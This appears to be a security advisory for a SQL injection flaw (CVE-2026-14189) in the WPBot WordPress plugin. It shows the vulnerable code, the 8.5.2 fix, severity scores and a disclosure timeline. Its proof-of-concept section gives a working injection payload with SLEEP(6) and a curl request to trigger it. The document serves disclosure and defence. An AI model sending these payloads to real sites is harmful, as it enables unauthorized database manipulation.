- Product
- WPBot (WordPress plugin)
- Versions
- Before 8.5.2 · fixed in 8.5.2
- Severity
- MediumCVSS score 4.1 · WPScan
- CVE
- CVE-2026-14189, assigned by WPScan
- Found by
- Mustafa Ahmed, Fortress MSSP
- Published
- November 11, 2026CVE published by WPScan on July 27, 2026
Description
The WPBot WordPress plugin before 8.5.2 does not validate administrator-configured field identifiers before using them in a SQL query, allowing users with administrator access to perform SQL injection that executes when a visitor triggers a search.
From the CVE record · CWE-89 SQL Injection
Technical analysis
The search code reads the administrator saved qc_bot_str_fields option and joins its entries with implode() straight into the column list of both MATCH(...) clauses. Only the keyword and table name go through $wpdb->prepare() placeholders. The column identifiers are interpolated into the SQL string without validation or quoting, so whatever text is stored in the option becomes part of the executed query.
$fields = get_option('qc_bot_str_fields');
if($fields && !empty($fields)){
$qfields = implode(', ', $fields);
}else{
$qfields = '`query`,`keyword`,`response`';
}
// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching, WordPress.DB.PreparedSQL.InterpolatedNotPrepared, PluginCheck.Security.DirectDB.UnescapedDBParameter
$results = $wpdb->get_results( $wpdb->prepare("SELECT `id`, `query`, `response`, MATCH($qfields) AGAINST(%s IN NATURAL LANGUAGE MODE) as score FROM %i WHERE MATCH($qfields) AGAINST(%s IN NATURAL LANGUAGE MODE) order by score desc limit 15",$keyword,$table,$keyword) );
8.5.2 keeps only option entries that are exactly query, keyword or response, wraps each kept name in backticks, and falls back to the default column list if none remain.
$fields = get_option('qc_bot_str_fields');
$allowed_fields = array('query', 'keyword', 'response');
$valid_fields = array();
if($fields && !empty($fields) && is_array($fields)){
foreach($fields as $field){
if(in_array($field, $allowed_fields)){
$valid_fields[] = '`' . $field . '`';
}
}
}
if(!empty($valid_fields)){
$qfields = implode(', ', $valid_fields);
}else{
$qfields = '`query`,`keyword`,`response`';
}
Fortress’s reading of the public source code at the versions shown.
Proof of concept
As published by WPScan in its advisory on July 6, 2026.
Prerequisites: WPBot AI ChatBot active; the "Simple Text Responses" feature in use (at least one Q&A entry, or use the Re-Index control).
1. As Administrator, on Settings > Simple Text Responses, save the search-fields config with a crafted column name (quote-free, to survive WP magic-quotes). Equivalent request (valid str_nonce from the page):
POST /wp-admin/admin.php?page=simple-text-response
str_nonce=<page-nonce>&qc_bot_str_fields[]=`query`,`keyword`) AGAINST(0x7a IN NATURAL LANGUAGE MODE) OR SLEEP(6) OR MATCH(`query`,`keyword`
2. As Administrator, ensure a matching FULLTEXT index exists - click Re-Index (or add/edit any Q&A entry):
POST /wp-admin/admin.php?page=simple-text-response
str_nonce=<page-nonce>&qc-re-index=1
3. As an unauthenticated attacker, trigger the search and observe the time-based injection:
curl -s -o /dev/null -w "%{time_total}\n" -X POST "https://victim.example/wp-admin/admin-ajax.php" \
-d "action=wpbo_search_response&keyword=zznomatch12345"
Observed: ~6s (injected SLEEP(6) executes); a benign config returns in ~0.02s. Swap SLEEP(6) -> SLEEP(3) to confirm scaling.Severity
WPScan rates it 4.1 (medium). CISA’s ADP scores it 3.8 (low) in the CVE record.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:NCISA ADP
Remediation
Update WPBot AI ChatBot to 8.5.2 or later.
Disclosure timeline
- CVE ID reserved by WPScan.
- Fix committed to the plugin repository (r3593750).
- Version 8.5.2 released.
- WPScan advisory published.
- CVE published by WPScan.
- Published on this site.
Credit
Found and reported by Mustafa Ahmed of Fortress MSSP. The CVE record credits Mustafa Ahmed as finder and WPScan as coordinator.
WPScan's advisory lists Mustafa Ahmed as original researcher and submitter.